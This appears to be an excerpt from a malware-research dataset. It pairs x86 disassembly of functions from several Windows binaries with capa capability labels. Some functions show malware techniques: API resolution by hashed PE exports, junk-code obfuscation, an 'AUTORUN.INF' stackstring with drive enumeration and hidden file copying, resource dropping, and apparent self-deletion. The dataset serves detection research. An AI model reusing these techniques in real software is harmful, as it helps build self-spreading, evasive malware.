joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46b9f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49dcc0
mov eax, dword fs:[0]
push eax
sub esp, 0x230
mov eax, dword [0x4c63ac]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x238], esi
test eax, eax
je 0x46bb5b
test edi, edi
je 0x46bb5b
xor ecx, ecx
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], cx
mov dword [ebp - 4], ecx
lea ecx, [ebp - 0x234]
push ecx
push 0x20019
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x46bb0f
push 0x208
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.0046f980
add esp, 0xc
mov dword [ebp - 0x23c], 0x208
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x238]
push eax
push 0
push edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x46bb03
cmp dword [ebp - 0x238], 1
jne 0x46bb03
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46bae1
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x230]
call fcn.00402db0
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x230]
mov ecx, esi
push eax
call fcn.004016d0
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x46bb74
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46bb4f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46bb93
push edx
push ecx
call fcn.0046d9fd
add esp, 8
jmp 0x46bb74
xor eax, eax
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046dc6a
mov esp, ebp
pop ebp
ret 0xc
call fcn.00478f8e
int3

Function at 0x486990
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004864e3

Function at 0x4897fb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00489671
Function at 0x4021a0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov ecx, dword [ebp + 8]
push ebx
mov eax, ecx
push esi
push edi
dec eax
mov edi, 0xa48d6762
je 0x4021f0
dec eax
je 0x4021d3
dec eax
je 0x4021c4
mov dword [ebp + 8], ecx
jmp 0x402203
push edi
push 1
call fcn.004021a0
mov esi, 0x401be4
jmp 0x4021e0
push edi
push 1
call fcn.004021a0
mov esi, 0x401bd8
push esi
call eax
push edi
push 1
call fcn.004021a0
push esi
call eax
jmp 0x402200
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x402273
mov eax, dword [ecx + 0x3c]
mov esi, dword [eax + ecx + 0x78]
lea edx, [eax + ecx + 0x18]
mov eax, dword [ebp + 0xc]
add esi, ecx
shr eax, 0x10
test ax, ax
mov dword [ebp - 0xc], edx
jne 0x40222e
movzx eax, word [ebp + 0xc]
sub eax, dword [esi + 0x10]
jmp 0x402288
mov ebx, dword [esi + 0x20]
mov eax, dword [esi + 0x24]
and dword [ebp - 4], 0
add ebx, ecx
add eax, ecx
cmp dword [esi + 0x18], 0
mov dword [ebp - 8], eax
jbe 0x402268
mov eax, dword [ebp + 8]
add eax, dword [ebx]
push eax
call fcn.00402336
cmp eax, dword [ebp + 0xc]
pop ecx
je 0x40227a
inc dword [ebp - 4]
add dword [ebp - 8], 2
mov eax, dword [ebp - 4]
add ebx, 4
cmp eax, dword [esi + 0x18]
jb 0x402245
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
cmp ecx, dword [esi + 0x18]
jne 0x402282
xor eax, eax
jmp 0x40232f
mov eax, dword [ebp - 8]
movzx eax, word [eax]
jmp 0x40226b
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov ebx, dword [esi + 0x1c]
lea eax, [ebx + eax*4]
mov ebx, dword [eax + ecx]
add ebx, ecx
mov eax, ebx
sub eax, esi
cmp eax, dword [edx + 0x64]
jae 0x40232d
push 0x4e59436b
push 1
lea esi, [ebp - 0x18c]
call fcn.004021a0
lea ecx, [ebp - 0x18c]
push ebx
push ecx
call eax
cmp byte [ebp - 0x18c], 0x2e
je 0x4022cb
inc esi
cmp byte [esi], 0x2e
jne 0x4022c5
and byte [esi], 0
push 0x2ca5f349
push 1
call fcn.004021a0
lea ecx, [ebp - 0x18c]
push 0x80
push ecx
lea ecx, [ebp - 0x8c]
push ecx
call eax
push 0x4e59436b
push 1
call fcn.004021a0
lea ecx, [ebp - 0x8c]
push 0x401bd0
push ecx
call eax
push edi
push 1
call fcn.004021a0
lea ecx, [ebp - 0x8c]
push ecx
call eax
inc esi
mov edi, eax
push esi
call fcn.00402336
pop ecx
push eax
push edi
call fcn.004021a0
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x402336
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
mov cl, byte [edx]
test cl, cl
je 0x40235b
push esi
mov esi, eax
shr esi, 0x19
shl eax, 7
or esi, eax
movsx eax, cl
mov cl, byte [edx + 1]
xor eax, esi
inc edx
test cl, cl
jne 0x402343
pop esi
ret
Function at 0x40236f
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp dword [0x401924], 0
jne 0x40242f
nop
pushal
jmp 0x40238d
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402396
popal
push 1
pop eax
test eax, eax
je 0x40242f
nop
pushal
jmp 0x4023ce
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x4023d7
popal
push 0x80
push 0x4010d8
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x81f0f0df
push 1
call fcn.004021a0
mov dword [ebp - 4], eax
push 0x4010d8
call dword [ebp - 4]
mov dword [0x401924], 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402434
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
setne al
ret

Function at 0x402445
Capabilities:
Contain obfuscated stackstrings
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x55
mov byte [ebp - 0xa], 0x54
mov byte [ebp - 9], 0x4f
mov byte [ebp - 8], 0x52
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], 0x4e
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x49
mov byte [ebp - 3], 0x4e
mov byte [ebp - 2], 0x46
and byte [ebp - 1], 0
push 0x401918
push 0x4015ec
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4015ec
push 0x4013e4
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4013e4
push 0x4011dc
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4013e4
push 0x4010d8
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0xc]
push eax
push 0x4010d8
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x4013e4
push 0x4012e0
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x401c34
push 0x4012e0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
nop
pushal
jmp 0x4024f7
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402500
popal
push 0x4010d8
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0x10
jne 0x402555
push 0x20e4e9ed
push 1
call fcn.004021a0
mov dword [ebp - 0x10], eax
push 0x4012e0
push 0x4010d8
call dword [ebp - 0x10]
jmp 0x4025ab
nop
pushal
jmp 0x40255f
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402568
popal
call fcn.0040236f
push 0x4010d8
call fcn.00402434
pop ecx
movzx eax, al
test eax, eax
jne 0x4025ab
call fcn.004027c9
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4025b0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov byte [ebp - 8], 0x3a
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x5c
and byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40274b
nop
pushal
jmp 0x4025e6
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x4025ef
popal
and dword [ebp - 0xc], 0
jmp 0x402623
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x28
jge 0x40274b
mov eax, dword [ebp - 4]
and eax, 1
cmp eax, 1
jne 0x40273e
nop
pushal
jmp 0x402646
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x40264f
popal
mov eax, dword [ebp - 0xc]
add eax, 0x43
push eax
push 0x401c3c
push 0x40191c
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0x40191c
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x40191c
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 2
je 0x4026bf
push 0x40191c
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x402704
push 0x67ecde97
push 1
call fcn.004021a0
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x40191c
call dword [ebp - 0x10]
test eax, eax
je 0x402704
push 0x40191c
push 0x401918
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call fcn.00402445
call fcn.00402ba2
jmp 0x40274b
nop
pushal
jmp 0x40270e
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402717
popal
mov eax, dword [ebp - 4]
shr eax, 1
mov dword [ebp - 4], eax
jmp 0x40261c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402ba2
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
nop
pushal
jmp 0x402bb8
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402bc1
popal
push 0x401c94
push 0x4015ec
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401c88
push 0x4015ec
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401c7c
push 0x4015ec
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401c74
push 0x4015ec
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401c64
push 0x4015ec
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
nop
push 0
push 0x4015ec
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
nop
push 0x4015ec
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
nop
push 0x401c58
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x4015ec
push 0x4016f0
call fcn.00404f60
pop ecx
pop ecx
nop
pushal
jmp 0x402c87
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402c90
popal
push 0x401c4c
push 0x4016f0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x2ee4f10d
push 1
call fcn.004021a0
mov dword [ebp - 0x108], eax
push 0
push 0x4016f0
push 0x4014e8
call dword [ebp - 0x108]
push 7
push 0x4015ec
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
nop
pushal
jmp 0x402d02
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402d0b
popal
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4031ae
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
nop
pushal
jmp 0x4031c1
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x4031ca
popal
push 0x8f8f114
push 1
call fcn.004021a0
mov dword [ebp - 0x2c], eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 0
je 0x4032dc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 8], eax
and dword [ebp - 0x28], 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0x14], eax
and byte [ebp - 4], 0
nop
push dword [ebp - 0x1c]
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
test eax, eax
je 0x4032be
nop
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x28]
movzx eax, byte [eax]
inc eax
inc eax
mov byte [ebp - 4], al
push 0xf3fd1c3
push 1
call fcn.004021a0
mov dword [ebp - 0x30], eax
push 0
lea eax, [ebp - 0x20]
push eax
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
push dword [ebp - 0x1c]
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
cmp dword [ebp - 0x28], eax
jb 0x403278
push 0x1b11fac9
push 1
call fcn.004021a0
mov dword [ebp - 0x34], eax
push dword [ebp - 8]
call dword [ebp - 0x34]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x403a35
Capabilities:
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x928
push ebx
push esi
push edi
and byte [ebp - 0x108], 0
push pe_nt_image_headers32
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x908], 0
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x907]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x401d24
lea edi, [ebp - 0x918]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
nop
pushal
jmp 0x403a8a
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x403a93
popal
push 0x774393e8
push 1
call fcn.004021a0
mov dword [ebp - 0x920], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [ebp - 0x920]
push 0x401d18
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
nop
pushal
jmp 0x403afc
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x403b05
popal
and dword [ebp - 0x90c], 0
jmp 0x403b42
mov eax, dword [ebp - 0x90c]
inc eax
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 0xa
jge 0x403b5f
push 0x401cf8
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
jmp 0x403b35
push 0x401ce8
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401ce0
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401cdc
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401cd4
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x918]
push eax
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401ccc
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x8f8f114
push 1
call fcn.004021a0
mov dword [ebp - 0x924], eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x918]
push eax
call dword [ebp - 0x924]
mov dword [ebp - 0x91c], eax
push 0
lea eax, [ebp - 4]
push eax
push 0x800
lea eax, [ebp - 0x908]
push eax
push dword [ebp - 0x91c]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 0x91c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xe8bf6dad
push 1
call fcn.004021a0
mov dword [ebp - 0x928], eax
push 0
lea eax, [ebp - 0x918]
push eax
call dword [ebp - 0x928]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x401c7e
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x21000
mov dword [ebp - 8], ecx
push esi
mov edi, edx
xor ebx, ebx
push 0xcc
push edi
call fcn.00405fe0
add esp, 0xc
push 0
push esi
lea eax, [ebx + edi]
push eax
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401ceb
add ebx, eax
sub esi, eax
cmp ebx, 4
jl 0x401ce7
test bl, 1
jne 0x401ce7
and dword [ebp - 4], 0
mov eax, edi
xor ecx, ecx
movzx edx, word [eax]
cmp edx, 0xa
jne 0x401cda
cmp word [ebp - 4], 0xd
je 0x401cf2
add ecx, 2
mov dword [ebp - 4], edx
add eax, 2
cmp ecx, ebx
jl 0x401ccb
test esi, esi
jg 0x401ca1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
xor ecx, ecx
mov word [eax - 2], cx
xor eax, eax
inc eax
jmp 0x401ced
Function at 0x4020f0
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x420968]
push ebx
push esi
push edi
cmp ecx, 0xffffffff
je 0x402281
mov dword [ebp - 0x2c], 0x421408
mov dword [ebp - 0x28], 0x421410
cmp dword [0x421404], 0
jne 0x402281
xor eax, eax
mov dword [ebp - 0xc], 0x10
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x20]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
mov dword [ebp - 0x24], edi
cmp edi, 0xffffffff
je 0x402272
mov edi, 0x421408
mov esi, dword [0x421408]
mov ebx, esi
mov edx, dword [0x42140c]
add ebx, 1
mov ecx, edx
mov dword [ebp - 8], edx
adc ecx, 0
mov eax, esi
lock cmpxchg8b qword [edi]
cmp eax, esi
jne 0x40215f
cmp edx, dword [ebp - 8]
jne 0x40215f
xor ecx, ecx
xor eax, eax
mov edx, 0x421400
lock cmpxchg dword [edx], ecx
mov edi, dword [ebp - 0x24]
cmp eax, 0x20
jge 0x402215
push 4
pop ebx
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4021fc
push 0x10
pop esi
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push 3
push 6
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push 0x11
push 6
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], 8
push eax
push esi
push 6
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push esi
push edi
push 0x401d20
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x40224b
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov esi, dword [0x421410]
mov ebx, esi
mov edi, dword [0x421414]
add ebx, 1
mov ecx, edi
mov dword [ebp - 0x24], edi
mov edx, edi
adc ecx, 0
mov edi, dword [ebp - 0x28]
mov eax, esi
lock cmpxchg8b qword [edi]
mov edi, dword [ebp - 0x24]
cmp eax, esi
jne 0x40221c
cmp edx, edi
jne 0x40221c
xor ecx, ecx
xor eax, eax
mov edx, 0x421400
lock cmpxchg dword [edx], ecx
mov esi, dword [ebp - 0x2c]
xor eax, eax
xor edx, edx
xor ebx, ebx
xor ecx, ecx
lock cmpxchg8b qword [esi]
mov esi, dword [ebp - 0x28]
xor eax, eax
xor edx, edx
lock cmpxchg8b qword [esi]
mov ecx, dword [0x420968]
cmp ecx, 0xffffffff
jne 0x402120
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404f0e
leave
ret
Function at 0x4022c0
Capabilities:
Convert ip address from string
Create thread
Initialize winsock library
Set socket configuration
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1b0], eax
push ebx
push esi
push edi
push 0x190
xor ebx, ebx
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.00405fe0
xor eax, eax
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004049d3
lea eax, [esp + 0x24]
push eax
push ebx
push ebx
push 0x402290
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x28]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402331
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 6
xor esi, esi
inc esi
push esi
push 2
pop edi
push edi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x420968], eax
cmp eax, 0xffffffff
je 0x4023d8
push 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], esi
push ecx
push 4
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4023c7
push 0x2011
mov word [esp + 0x18], di
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
lea eax, [esp + 0x18]
push eax
push str.127.0.0.1
push edi
call dword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, esi
jne 0x4023c7
push 0x10
lea eax, [esp + 0x18]
push eax
push dword [0x420968]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jne 0x4023c7
push bind
push dword [0x420968]
call dword [sym.imp.WS2_32.dll_listen]
test eax, eax
jne 0x4023c7
call fcn.004020f0
mov eax, dword [0x420968]
cmp eax, 0xffffffff
je 0x4023d8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push ebx
jmp 0x40232b
Function at 0x404385
Capabilities:
Check for sandbox and av modules
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x41e7c0
mov edi, edx
mov dword [ebp - 0x424], ecx
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x404407
mov ecx, 0x410
lea eax, [ebp - 0x414]
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x4043bf
mov esi, 0x104
lea eax, [ebp - 0x414]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x404419
cmp eax, esi
ja 0x404419
push str.dbghelp.dll
mov edx, esi
lea ecx, [ebp - 0x414]
call fcn.004023e4
push ebx
push ebx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test eax, eax
je 0x404419
push str.MiniDumpWriteDump
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x404420
xor eax, eax
jmp 0x4044a5
push edi
push str._ws.exception.dmp
lea eax, [ebp - 0x414]
push 0x208
push eax
call fcn.00401486
add esp, 0x10
lea eax, [ebp - 0x414]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4044a3
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push ebx
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x424]
push ebx
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x420]
push eax
push ebx
push edi
mov dword [ebp - 0x418], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, esi
call dword [0x41718c]
call esi
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404f0e
leave
ret

Function at 0x404508
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, edx
